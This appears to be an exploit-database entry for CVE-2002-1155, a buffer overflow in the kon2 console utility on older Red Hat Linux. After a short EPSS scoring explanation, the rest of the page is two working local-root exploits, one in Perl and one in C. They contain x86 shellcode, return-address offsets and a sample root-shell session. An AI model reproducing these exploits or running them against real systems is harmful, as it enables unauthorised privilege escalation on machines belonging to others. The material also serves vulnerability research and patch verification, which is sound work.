CVE-2002-1155 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

source: https://www.securityfocus.com/bid/7790/info A buffer overflow vulnerability has been reported for the kon2 utility shipped with various Linux distributions. Exploitation of this vulnerability may result in a local attacker obtaining elevated privileges on a vulnerable system. The vulnerability exists due to insufficient bounds checking performed on some commandline options passed to the vulnerable utility. #!/usr/bin/perl #################################################################################### #Priv8security.com kon2 version 0.3.9b-16 and < local root exploit. # # Tested on Redhat 8.0. should work on 9.0 and 7.3 # Bug happens on -Coding arg. # Based on Redhat Advisory. # # [wsxz@localhost buffer]$ perl priv8kon.pl # -=[ Priv8security.com kon local root exploit ]=- # usage: priv8kon.pl offset # [+] Using ret shellcode 0xbfffffc6 # Kanji ON Console ver.0.3.9 (2000/04/09) # # KON> video type 'VGA' selected # KON> hardware scroll mode. # sh-2.05b# id # uid=0(root) gid=0(root) groups=500(wsxz) #################################################################################### $shellcode = "\x31\xc0\x31\xdb\xb0\x17\xcd\x80".#setuid 0 "\x31\xdb\x89\xd8\xb0\x2e\xcd\x80".#setgid 0 "\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69". "\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80"; $path = "/usr/bin/kon"; $ret = 0xbffffffa - length($shellcode) - length($path); $offset = $ARGV[0]; print "-=[ Priv8security.com kon2 local root exploit ]=-\n"; print "usage: $0 offset\n"; printf("[+] Using ret shellcode 0x%x\n",$ret + $offset); $new_retword = pack('l', ($ret + $offset)); $buffer2 = "A" x 796; $buffer2 .= $new_retword; $buffer = $shellcode; local($ENV{'WSXZ'}) = $buffer; exec("$path -Coding $buffer2");

// source: https://www.securityfocus.com/bid/7790/info A buffer overflow vulnerability has been reported for the kon2 utility shipped with various Linux distributions. Exploitation of this vulnerability may result in a local attacker obtaining elevated privileges on a vulnerable system. The vulnerability exists due to insufficient bounds checking performed on some commandline options passed to the vulnerable utility. /* * Buffer overflow in /usr/bin/kon v0.3.9b for RedHat 9.0 * * http://www.mail-archive.com/bugtraq@securityfocus.com/msg11681.html * * The original bug was found by wszx for RedHat 8.0 - Ported to C * * Compile: gcc -Wall kon2root kon2root.c * */ #include <stdio.h> #include <string.h> #include <unistd.h> #define NOP 0x90 #define RET 0xbffffffa #define VULN "/usr/bin/kon" #define MAXBUF 800 static char w00tI4r3l33t[]="\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07 \x89" "\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56 \x0c" "\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8 \xdc\xff" "\xff\xff/bin/id"; int main() { int i, *egg; long retaddr; static char buff[MAXBUF]; static char *sploit[0x02] = { w00tI4r3l33t, NULL }; fprintf (stdout, "\n\n\n[ PoC code for local root exploit in %s ] \n", VULN); fprintf (stdout, "[ Coded by c0ntex - http://62.31.72.168 ]\n"); fprintf (stdout, "[ For Linux RedHat v9 x86 - Ret_Addr 0xbffffffa ]\n\n\n\n"); if((retaddr = 0xbffffffa - strlen(w00tI4r3l33t) - strlen(VULN)) ! = 0x00) { egg = (int *)(buff); } for(i = 0x00; i < MAXBUF; i += 0x04) *(egg)++ = retaddr; *(egg) = NOP; execle(VULN, VULN, "-Coding", buff, NULL, sploit); return(0x00); }